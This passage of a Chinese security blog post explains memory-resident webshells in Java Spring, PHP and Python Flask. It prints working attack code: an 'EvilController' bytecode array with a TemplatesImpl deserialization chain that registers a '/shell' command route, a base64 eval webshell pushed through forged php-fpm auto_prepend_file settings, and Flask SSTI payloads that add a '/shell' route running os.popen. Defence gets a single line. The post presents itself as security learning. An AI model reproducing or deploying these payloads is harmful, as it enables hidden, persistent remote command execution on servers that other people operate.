101, 1, 0, 6, 47, 115, 104, 101, 108, 108, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 46, 106, 97, 118, 97, 1, 0, 43, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 115, 116, 101, 114, 101, 111, 116, 121, 112, 101, 47, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 12, 0, 31, 0, 32, 1, 0, 3, 99, 109, 100, 7, 0, 109, 12, 0, 111, 0, 112, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 112, 12, 0, 115, 0, 116, 1, 0, 3, 119, 105, 110, 12, 0, 117, 0, 118, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 122, 0, 123, 7, 0, 124, 12, 0, 125, 0, 126, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 31, 0, 127, 1, 0, 2, 92, 65, 12, 0, -128, 0, -127, 12, 0, -126, 0, -125, 12, 0, -124, 0, 116, 1, 0, 0, 7, 0, 110, 12, 0, -123, 0, -122, 7, 0, -121, 12, 0, -120, 0, -119, 12, 0, -118, 0, 32, 12, 0, -117, 0, -116, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 35, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 37, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 1, 0, 38, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 1, 0, 12, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 9, 103, 101, 116, 87, 114, 105, 116, 101, 114, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 102, 108, 117, 115, 104, 1, 0, 9, 115, 101, 110, 100, 69, 114, 114, 111, 114, 1, 0, 4, 40, 73, 41, 86, 0, 33, 0, 29, 0, 30, 0, 0, 0, 0, 0, 2, 0, 1, 0, 31, 0, 32, 0, 1, 0, 33, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 34, 0, 0, 0, 6, 0, 1, 0, 0, 0, 12, 0, 35, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 36, 0, 37, 0, 0, 0, 1, 0, 38, 0, 39, 0, 3, 0, 33, 0, 0, 1, -79, 0, 5, 0, 9, 0, 0, 0, -71, 43, 18, 2, -71, 0, 3, 2, 0, -58, 0, -93, 4, 62, 18, 4, -72, 0, 5, 58, 4, 25, 4, -58, 0, 18, 25, 4, -74, 0, 6, 18, 7, -74, 0, 8, -103, 0, 5, 3, 62, 29, -103, 0, 31, 6, -67, 0, 9, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, -89, 0, 28, 6, -67, 0, 9, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, 58, 5, -72, 0, 14, 25, 5, -74, 0, 15, -74, 0, 16, 58, 6, -69, 0, 17, 89, 25, 6, -73, 0, 18, 18, 19, -74, 0, 20, 58, 7, 25, 7, -74, 0, 21, -103, 0, 11, 25, 7, -74, 0, 22, -89, 0, 5, 18, 23, 58, 8, 44, -71, 0, 24, 1, 0, 25, 8, -74, 0, 25, 44, -71, 0, 24, 1, 0, -74, 0, 26, -89, 0, 12, 44, 17, 1, -108, -71, 0, 27, 2, 0, -89, 0, 4, 78, -79, 0, 1, 0, 0, 0, -76, 0, -73, 0, 28, 0, 3, 0, 34, 0, 0, 0, 66, 0, 16, 0, 0, 0, 17, 0, 11, 0, 18, 0, 13, 0, 19, 0, 20, 0, 20, 0, 38, 0, 21, 0, 40, 0, 23, 0, 99, 0, 24, 0, 112, 0, 25, 0, -128, 0, 26, 0, -108, 0, 27, 0, -97, 0, 28, 0, -88, 0, 29, 0, -85, 0, 31, 0, -76, 0, 34, 0, -73, 0, 33, 0, -72, 0, 36, 0, 35, 0, 0, 0, 92, 0, 9, 0, 13, 0, -101, 0, 40, 0, 41, 0, 3, 0, 20, 0, -108, 0, 42, 0, 43, 0, 4, 0, 99, 0, 69, 0, 44, 0, 45, 0, 5, 0, 112, 0, 56, 0, 46, 0, 47, 0, 6, 0, -128, 0, 40, 0, 48, 0, 49, 0, 7, 0, -108, 0, 20, 0, 50, 0, 43, 0, 8, 0, 0, 0, -71, 0, 36, 0, 37, 0, 0, 0, 0, 0, -71, 0, 51, 0, 52, 0, 1, 0, 0, 0, -71, 0, 53, 0, 54, 0, 2, 0, 55, 0, 0, 0, 52, 0, 9, -3, 0, 40, 1, 7, 0, 56, 31, 88, 7, 0, 57, -2, 0, 46, 7, 0, 57, 7, 0, 58, 7, 0, 59, 65, 7, 0, 56, -1, 0, 24, 0, 3, 7, 0, 60, 7, 0, 61, 7, 0, 62, 0, 0, 8, 66, 7, 0, 63, 0, 0, 64, 0, 0, 0, 9, 2, 0, 51, 0, 0, 0, 53, 0, 0, 0, 65, 0, 0, 0, 14, 0, 1, 0, 66, 0, 1, 0, 67, 91, 0, 1, 115, 0, 68, 0, 2, 0, 69, 0, 0, 0, 2, 0, 70, 0, 65, 0, 0, 0, 6, 0, 1, 0, 71, 0, 0};
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(classLoader, className, bytes, 0, bytes.length);
//获得当前代码运行时的上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
//反射获取RequestMappingHandlerMapping的config字段
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping);
//通过反射获得自定义controller中唯一的Method对象
Method method = (Class.forName(className).getDeclaredMethods())[0];
//设置路由的请求方法为POST
RequestMethod requestMethod = RequestMethod.POST;
//在内存中动态注册 controller
RequestMappingInfo info = RequestMappingInfo.paths("/shell").methods(requestMethod).options(config).build();
requestMappingHandlerMapping.registerMapping(info, Class.forName(className).newInstance(), method);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
以下是生成字节码和生成序列化payload的Test代码:
package com.example.vul_demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
@org.junit.jupiter.api.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilController.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes).replace('[', '{').replace(']', '}'));
}
}
以下是执行结果,传入payload:
之后进入/shell,成功注入:
PHP 内存马
注入方法:
目前PHP仍然是非常主流的服务端Web语言,只是网上很多文章还是更关注Java内存马,对PHP内存马的了解似乎只停留在PHP不死马。而PHP不死马一般存在文件落地不说,还非常容易被管理员发现,因此实在无法将它定义为内存马。
那我们怎样做不需要落地PHP文件就可以将我们的Webshell注入进服务器呢?其实方法很简单,还记得PHP有一个配置叫做auto_prepend_file吗?auto_prepend_file配置指定在主文件之前自动解析的文件名。假设此时我们拥有一个PHP网站的RCE漏洞,那么我们只需要修改auto_prepend_file的值为data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
,接下来当我们每次访问别的PHP文件时都会自动解析
,然后就是传入shell参数进行RCE了。那假如我们没有RCE是不是就不行?其实不然,在某些情况可能我们只需要一个SSRF或者php-fpm未授权就可以完成PHP内存马的注入。
要了解这种注入手法,首先就要了解php-fpm是做什么的。php解释器和webserver进行通信时使用cgi协议,但是由于其每次都要开关进程,非常浪费资源,于是出现了fastcgi,利用一个进程一次处理多个请求。而php-fpm(php-Fastcgi Process Manager)就是fastcgi的实现,并提供了进程管理的功能。
以下是借用别的师傅的一张图:
可以看到Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给php-fpm,FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。在PHP-FPM中有两个特殊的环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
php-fpm默认监听9000端口,假设我们可以跳过nginx直接与php-fpm进行通信,那我们是不是就可以伪造fastcgi协议数据包从而改变PHP里的配置项,例如我们之前提到的auto_prepend_file。
构造如下环境变量:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?x=x',
'REQUEST_URI': '/index.php?x=x',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4="',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
接着自己改改p牛的脚本运行就注入成功了:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Python Flask 内存马
Flask/jinja2 SSTI漏洞过于基础就不再介绍了,直接给出漏洞环境:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = 'Hello %s!
' % person
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0")
payload:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
flask版本为2.0.3:
注入流程分析
首先我们先看一下payload :
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
url_for是Flask的一个内置函数, 通过Flask内置函数可以调用其__globals__
属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules,比如__builtins__
模块。在__builtins__
模块中, Python
在启动时就直接为我们导入了很多内建函数,如eval,exec等。让我们看一下python中eval函数是怎样使用的:
给出以下例子:
namespace = {'a': 2, 'b': 3}
result = eval("a + b", namespace)
print(result)
可以看到,eval函数是在指定命名空间中执行表达式,a+b即2+3。
那在给出的payload中,以下为表达式:
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
以下代码即是我们制定的命名空间:
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
current_app
是一个本地代理,它的类型是werkzeug.local.LocalProxy
,它所代理的即是我们的app
对象:
只在请求线程内存在,它的生命周期就是在应用上下文里。离开了应用上下文,current_app
一样无法使用。
当一个网页请求来以后,Flask会实例化对象app,执行__call__
:
之后调用flask.app.Flask.wsgi_app
:
此处调用了flask.app.Flask.request_context
创建一个请求上下文RequestContext
类型的对象,:
其需接收werkzeug
中的environ
对象为参数。werkzeug
是Flask所依赖的WSGI函数库。接下来又调用了push()方法:
这是为什么?request_context
方法已经创建了请求上下文,为什么还要调用push
和pop
方法呢?这就是Flask关于上下文实现的关键了。对于Flask Web应用来说,每个请求就是一个独立的线程。请求之间的信息要完全隔离,避免冲突,这就需要使用本地线程环境(ThreadLocal),这个概念在其他语言如Java中也有。ctx.push()
方法,会将当前请求上下文,压入flask._request_ctx_stack
的栈中,这个_request_ctx_stack
是内部对象。同时这个_request_ctx_stack
栈是个ThreadLocal对象。也就是flask._request_ctx_stack
看似全局对象,其实每个线程的都不一样。请求上下文压入栈后,再次访问其都会从这个栈的顶端通过_request_ctx_stack.top
来获取,所以取到的永远是只属于本线程中的对象,这样不同请求之间的上下文就做到了完全隔离。请求结束后,线程退出,ThreadLocal线程本地变量也随即销毁,ctx.pop()
用来将请求上下文从栈里弹出,避免内存无法回收。
知道了app和_request_ctx_stack是什么,我们就来看看eval中的表达式:
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
跟进装饰器@app.route('')
的代码,可以看到其本质上也调用了flask对象的add_url_rule()方法:
以下是一个不使用装饰器创建路由的示例:
from flask import Flask
app = Flask(__name__)
def index():
return 'Hello World!'
app.add_url_rule('/index',endpoint='index',view_func=index)
以下是这三个参数的解释:
:param rule: The URL rule string. :param endpoint: The endpoint name to associate with the rule and view function. Used when routing and building URLs. Defaults to ``view_func.__name__``. :param view_func: The view function to associate with the endpoint name.
因此payload中add_url_rule()方法的每一个参数的意思也就知道了,主要看payload中的第三个参数:
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
通过import模块导入os并执行os.popen(cmd).read()。_request_ctx_stack.top
拿到_request_ctx_stack
的栈顶元素,即当前请求上下文,之后从当前请求上下文获取request对象,通过request.args.get()的方法拿到cmd参数的值,如果cmd参数为空,就设为whoami。也就是说默认执行whoami。
payload变形
至此,整个payload的脉络也梳理清楚了。那仔细想想还有什么办法对这个payload进行一些改变呢?以request对象为例,刚刚提到,在payload中,获取request对象是通过从全局变量中获取_request_ctx_stack,并获取它的栈顶元素及请求上下文,而请求上下文的request属性即是我们的需要的request对象。但在我们其实可以在url_for.__globals__
就找到此次请求的request对象,而不用通过这种方式来获取:
因此payload可以改为:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
以下是执行结果:
那当前app对象还能从哪里获取呢?可以从_app_ctx_stack的栈顶元素中获取应用上下文,在应用上下文中有app属性,即是我们需要的app对象:
因此payload可以改为:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['_app_ctx_stack'].top.app})}}
其实通过以下方式也可以获得当前的app对象:
get_flashed_messages.__globals__['current_app']
获取当前的request对象和app对象一定不只是这几种方式,大家可以继续补充。
查杀与检测
flask/jinja2 SSTI漏洞在实际攻防场景其实并不常见,因此个人认为这种内存马只要注意不要出现SSTI漏洞就可以了。
总结
因为目前在实习的原因,不像以前一样有很多时间,这篇文章断断续续写了一周,本以为用不了这么长时间。以前觉得内存马相关内容的东西太多了,即使目前写了过万字也感觉有很多的地方有待补充,比如Java内存马的种类还差很多种,以及这些内存马的查杀方式,关于查杀方式目前也只是写了Tomcat-Servlet内存马的 查杀方式。缺失的这些有空再写吧,没办法,这就是懒狗的日常,嘻嘻。
参考链接
https://tttang.com/archive/1775
https://xz.aliyun.com/t/11566
https://github.com/c0ny1/java-memshell-scanner
https://github.com/iceyhexman/flask_memory_shell
来源:https://blog.snert.cn/index.php/2023/08/09/java-python-php-memory-webshell/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
你可能感兴趣的:(java,python,php)